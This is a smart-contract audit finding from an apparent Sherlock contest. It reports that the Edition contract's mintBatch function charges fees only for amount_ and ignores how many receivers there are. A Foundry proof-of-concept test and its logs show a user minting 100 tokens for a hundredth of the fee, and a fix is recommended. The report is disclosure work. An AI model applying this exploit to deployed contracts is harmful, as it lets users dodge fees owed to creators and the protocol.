sherlock-audit / 2024-04-titles-judging

1 stars 1 forks source link

ComposableSecurity - The user can avoid paying fees for minting tokens #431

Closed sherlock-admin4 closed 1 month ago

sherlock-admin4 commented 2 months ago

ComposableSecurity

high

The user can avoid paying fees for minting tokens

Summary

The user can avoid paying the fee in the mintBatch function, because it does not take into account the number of receivers_.

Vulnerability Detail

The function mintBatch calculates fee based on the provided amount_ (which is the number of tokens to be minted per each reciever).

https://github.com/sherlock-audit/2024-04-titles/blob/d7f60952df22da00b772db5d3a8272a988546089/wallflower-contract-v2/src/editions/Edition.sol#L311-L313

This is wrong, because later we can observe that the same amount_ is issued for each receiver

https://github.com/sherlock-audit/2024-04-titles/blob/d7f60952df22da00b772db5d3a8272a988546089/wallflower-contract-v2/src/editions/Edition.sol#L315-L317

Therefore, fee is collected from amount_ and amount * receivers_.length tokens are minted. An attacker can effectively decide the fees paid by adding themself as a receiver multiple times. The POC file shows how to pay a 100x lower fee as example.

POC results

[PASS] test_POC_mintBatch_X3() (gas: 1014417)
Logs:

  requiredFee 1060000000000000000

  BEFORE THE MINT
  Alice balance:  100000000000000000000
  Bob balance:    100000000000000000000
  FeeManager balance:  0
  Edition balance:  0

  AFTER ALICE MINT
  Alice balance:  98940000000000000000
  Bob balance:   100000000000000000000
  FeeManager balance:  0
  Edition balance:  0

  AFTER BOB MINT
  Alice balance:  98940000000000000000
  Bob balance:    99989400000000000000
  FeeManager balance:  0
  Edition balance:  0

POC file

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test, console} from "forge-std/Test.sol";

import {Edition} from "src/editions/Edition.sol";
import {FeeManager} from "src/fees/FeeManager.sol";
import {TitlesGraph} from "src/graph/TitlesGraph.sol";
import {
    Comment,
    Node,
    NodeType,
    NotOpen,
    Metadata,
    Strategy,
    Target,
    Unauthorized
} from "src/shared/Common.sol";

contract MockSplitFactory {
    struct Split {
        address[] recipients;
        uint256[] allocations;
        uint256 totalAllocation;
        uint16 distributionIncentive;
    }

    function createSplit(Split memory, address, address) external view returns (address) {
        return address(this);
    }

    receive() external payable {}
}

contract MockGraph {
    function createEdge(Node memory, Node memory, bytes memory) external {}
}

contract EditionTest is Test {
    Edition public edition;
    FeeManager public feeManager;
    TitlesGraph public graph;

    function setUp() public {
        edition = new Edition();
        feeManager = new FeeManager(address(0xdeadbeef), address(0xc0ffee), address(new MockSplitFactory()));
        graph = new TitlesGraph(address(this), address(this));

        edition.initialize(
            feeManager,
            graph,
            address(this),
            address(this),
            Metadata({label: "Test Edition", uri: "ipfs.io/test-edition", data: new bytes(0)})
        );

        edition.publish(
            address(1), // creator
            1000, // maxSupply
            0, // opensAt
            0, // closesAt
            new Node[](0), // attributions
            Strategy({
                asset: address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE),
                mintFee: 0.01 ether,
                revshareBps: 2500, // 25%
                royaltyBps: 250 // 2.5%
            }),
            Metadata({label: "Best Work Ever", uri: "ipfs.io/best-work-ever", data: new bytes(0)})
        );

        // Normally done by the TitlesCore, but we're testing in isolation
        feeManager.createRoute(edition, 1, new Target[](0), address(0));
    }

    function test_POC_mintBatch_X3() public {
    // Scenario setup
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    vm.deal(alice, 100 ether);
    vm.deal(bob, 100 ether);
    uint256 tokenId = 1;
    uint256 amountSingle = 100;
    uint256 amountBatch = 1;
    uint256 totalBatchMints = 100;
    address[] memory receivers = new address[](totalBatchMints);

    for (uint256 i = 0; i < totalBatchMints; i++) {
        receivers[i] = bob;
    }

    //Calculate the fee required for 100 tokens?
    uint256 requiredFee = edition.mintFee(1,100);

    console.log("");
    console.log("requiredFee",requiredFee);
    console.log("");
    console.log("BEFORE THE MINT");
    console.log("Alice balance: ", alice.balance);
    console.log("Bob balance: ", bob.balance);
    console.log("FeeManager balance: ", address(feeManager).balance);
    console.log("Edition balance: ", address(edition).balance);
    console.log("");

    vm.startPrank(alice);
    edition.mint{value: requiredFee}(alice, tokenId, amountSingle, address(0), new bytes(0));
    vm.stopPrank();

    console.log("");
    console.log("AFTER ALICE MINT");
    console.log("Alice balance: ", alice.balance);
    console.log("Bob balance: ", bob.balance);
    console.log("FeeManager balance: ", address(feeManager).balance);
    console.log("Edition balance: ", address(edition).balance);
    console.log("");

    vm.startPrank(bob);
    edition.mintBatch{value: requiredFee/100}(receivers, tokenId, amountBatch, new bytes(0));
    vm.stopPrank();

    console.log("");
    console.log("AFTER BOB MINT");
    console.log("Alice balance: ", alice.balance);
    console.log("Bob balance: ", bob.balance);
    console.log("FeeManager balance: ", address(feeManager).balance);
    console.log("Edition balance: ", address(edition).balance);
    console.log("");

    // Assertions to verify state changes
    assertEq(edition.balanceOf(alice, tokenId), amountSingle, "User1 token balance incorrect");
    assertEq(edition.balanceOf(bob, tokenId), amountBatch * totalBatchMints, "User2 token balance incorrect");
}

}

Impact

Any user can avoid paying fees.

Code Snippet

https://github.com/sherlock-audit/2024-04-titles/blob/d7f60952df22da00b772db5d3a8272a988546089/wallflower-contract-v2/src/editions/Edition.sol#L304-L320

Tool used

Manual Review

Recommendation

Calculate fee for all the receivers in mintBatch. Since in the current implementation the amount per receiver must be the same, it can be done following way:

amount_ * receivers.length

Consider the possibility of editing the amount per receiver for batch transactions.

Duplicate of #264